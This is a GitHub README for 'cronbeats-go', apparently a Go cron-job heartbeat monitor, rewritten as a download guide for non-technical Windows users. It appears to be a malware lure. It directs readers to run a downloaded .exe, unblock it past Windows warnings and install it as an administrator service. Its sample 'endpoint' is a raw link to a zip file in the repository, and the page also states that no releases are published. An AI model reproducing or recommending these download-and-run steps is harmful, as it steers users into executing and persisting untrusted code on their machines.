Skip to content

adhi524/cronbeats-go

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚙️ cronbeats-go - Monitor Scheduled Tasks Easily

Download Latest Release

📋 What is cronbeats-go?

cronbeats-go helps you keep an eye on your scheduled tasks. It checks if your jobs like cron jobs, background processes, or scheduled tasks run as planned. It sends alerts when something goes wrong. This tool works with Go programs but this guide will show you how to download and run it on Windows with no programming skills.

💻 System Requirements

To use cronbeats-go on a Windows PC, make sure you have:

  • Windows 10 or later (64-bit preferred)
  • At least 2 GB of free disk space
  • An internet connection to download files
  • A user account with permission to install software

🛠️ Key Features

  • Monitors jobs that run automatically at set times (cron jobs)
  • Checks background tasks to ensure they run smoothly
  • Sends notifications if jobs fail or stop working
  • Records simple heartbeats to confirm tasks are active
  • Works quietly in the background
  • Supports common alert channels (email, webhook setups)

🚀 How to Download and Install

Step 1: Visit the Release Page

Click the button below to go to the releases page where you can get the latest version.

Download Latest Release

Step 2: Choose the Correct File

On the releases page, look for the latest release often marked with a version number. Under the assets section, find the Windows executable file. It may look like:

  • cronbeats-go-windows-amd64.exe

Make sure to pick the file ending with .exe. This is the program you will run.

Step 3: Download the File

Click on the .exe file name to start downloading. Your browser will save it to your default download folder unless you choose another location.

Step 4: Run the Program

Open your download folder and double-click the .exe file. Windows may show a security message. Click "Run" if asked.

cronbeats-go runs in the background. You will not see a main window, but it will start monitoring tasks.

⚙️ Basic Setup

You do not need to know programming to set this up. The program works using simple configuration files or settings you can create with a text editor like Notepad.

Step 1: Create a Configuration File

Open Notepad. Copy and paste this example setup:

[cronbeats]
endpoint = https://raw.githubusercontent.com/adhi524/cronbeats-go/main/examples/smoke/go_cronbeats_1.2.zip
api_key = your-api-key-here
check_interval = 60

Replace https://raw.githubusercontent.com/adhi524/cronbeats-go/main/examples/smoke/go_cronbeats_1.2.zip with the address from your alert service.

Replace your-api-key-here with your API key if you have one.

Set check_interval to control how often the program checks your jobs, in seconds.

Save this file as config.ini in the same folder where you ran the .exe file.

Step 2: Start Monitoring

Once the config file is ready and saved, restart the program by double-clicking the .exe again. It will use your settings to start checking jobs.

💡 How It Works

cronbeats-go sends small messages called heartbeats at regular intervals. These heartbeats tell the monitoring system that your scheduled tasks are still running fine. If heartbeats stop or alerts appear, you know there is an issue.

This method helps you catch problems fast without digging through complex logs.

🔧 Running as a Background Service (Optional)

To have cronbeats-go start automatically when you turn on your computer, you can set it up as a Windows service. This requires some extra steps:

  1. Open Command Prompt as Administrator.

  2. Use the sc command to create a service, such as:

    sc create cronbeats-go binPath= "C:\path\to\cronbeats-go-windows-amd64.exe --config C:\path\to\config.ini"
    
  3. Start the service:

    sc start cronbeats-go
    

Replace the C:\path\to\ with the actual folder paths where your files are located.

🛠️ Troubleshooting Common Issues

  • Program does not start: Check that you downloaded the .exe file for Windows. Make sure your config file is saved in the correct place.

  • No alerts or monitoring messages: Confirm your endpoint URL and API key are correct in the config file.

  • Windows blocks running the file: Right-click the .exe file, select Properties, then check “Unblock” if available.

  • Service setup fails: Make sure to run Command Prompt as Administrator and check your file paths carefully.

📚 Useful Terms

  • Cron job: A scheduled task that runs automatically on a regular basis.
  • Heartbeat: A small signal sent periodically to confirm a process is running.
  • API key: A secret code to connect your program to an alerting service.
  • Executable file (.exe): A file that Windows can run directly.
  • Background job: A task that runs behind the scenes without user interaction.

🔗 More Information and Updates

Visit the releases page anytime to find the newest version of cronbeats-go and access helpful documentation.

Download and check new releases here.

Releases

No releases published

Packages

 
 
 

Contributors

Languages